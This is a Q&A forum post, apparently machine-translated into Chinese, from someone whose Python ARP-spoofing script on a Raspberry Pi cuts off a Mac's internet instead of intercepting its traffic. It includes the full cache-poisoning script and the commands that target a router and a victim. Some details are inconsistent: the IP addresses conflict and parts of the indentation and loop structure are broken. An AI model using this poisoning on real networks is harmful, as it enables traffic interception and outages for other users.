Python ARP欺骗不会转发数据包,只会阻止互联网

时间:2017-03-10 23:53:26

标签: python arp

我下载了一个python程序,它模仿我的覆盆子pi的arpspoof工具,所以我可以更好地看到它是如何工作的,并根据需要进行更改。在我说出问题之前,这是我网络上的设备:
路由器:
IP:192.168.7.1
MAC:14:22:db:a6:0c:ed

Raspberry Pi(欺骗者):
IP:192.168.7.35
MAC:00:0f:60:01:c2:ca

Mac(受害者):
IP:192.168.7.35
MAC:28:cf:e9:0b:7f:45

但是,它不起作用。它只是阻止了互联网的mac。这就是我所做的:
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"(打开IP转发)
sudo python arpspoof.py -t 14:22:db:a6:0c:ed 192.168.7.22(告诉路由器树莓派是mac) sudo python arpspoof.py -t 28:cf:e9:0b:7f:45 192.168.7.1(告诉mac,树莓派是路由器)

再一次,所有这一切都是为mac切断互联网。我觉得IP转发没有效果。你们知道出了什么问题吗?这是程序:

import getopt,sys,string
from socket import *
from struct import *
from time import sleep


ETHER_BROADCAST="\xff"*6
ETH_P_ETHER=0x0001
ETH_P_IP=0x0800
ETH_P_ARP=0x0806

def usage():
    print "Usage: %s [-t target] [-i interface] [-s sleep] host"
    print "\t host : host to take over"
    print "\t target : MAC address of a specific target to ARP poison"
    print "\t sleep : time to sleep (in seconds) between two packets"
    sys.exit(1)




def ether(src, dst, type):
    return dst+src+pack("!H",type)

def arp(hw, p, hwlen, plen, op, hwsrc, psrc, hwdst, pdst):
    return pack("!HHBBH", hw, p, hwlen, plen, op) + hwsrc + psrc + hwdst + pdst

def is_at(macsrc,ipsrc):
    return arp(ETH_P_ETHER, ETH_P_IP, 6, 4, 2, 
               macsrc, inet_aton(ipsrc), ETHER_BROADCAST, pack("!I",INADDR_ANY))


def mac2str(a):
    return reduce(str.__add__,map(lambda x: chr(int(x,16)), a.split(":")))

def str2mac(a):
    return "%02x:%02x:%02x:%02x:%02x:%02x" % unpack("!6B",a)

try:
    opts=getopt.getopt(sys.argv[1:], "i:t:s:h")

    target = "\xff\xff\xff\xff\xff\xff"
    dev = "wlan0"
    slptime = 2
    for opt, parm in opts[0]:
        if opt == "-h":
            usage()
        elif opt == "-t":
            target = mac2str(parm) # XXX get mac from IP
        elif opt == "-i":
            dev = parm
        elif opt == "-s":
        try:
                slptime = float(parm)
            except ValueError,msg:
                raise getopt.GetoptError("'sleep' parameter error: "+msg.__repr__(),None)

    if len(opts[1]) == 0 :
        raise getopt.GetoptError("'host' parameter missing",None)
    elif len(opts[1]) > 1 :
        raise getopt.GetoptError("Too many parameters : [%s]" % string.join(opts[1]),None)
    else:
        host = opts[1][0]

    print "dev:", dev
    print "target:", str2mac(target) 
    print "host:", host
except getopt.error, msg:
    print "ERROR:",msg
    usage()
except KeyboardInterrupt:
    print "Interrupted by user"


try:
    s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP))
    s.bind((dev, ETH_P_ARP))
    mymac = s.getsockname()[4] 
    pkt = ether(mymac, target, ETH_P_ARP) + is_at(mymac, host)
    disp = "%s -> %s   %s is-at %s" % (str2mac(mymac), str2mac(target), host, str2mac(mymac))
    while 1:
        s.send(pkt)
    print disp
    sleep(slptime)
except KeyboardInterrupt:
    pass

感谢您的帮助,非常感谢。

0 个答案:

没有答案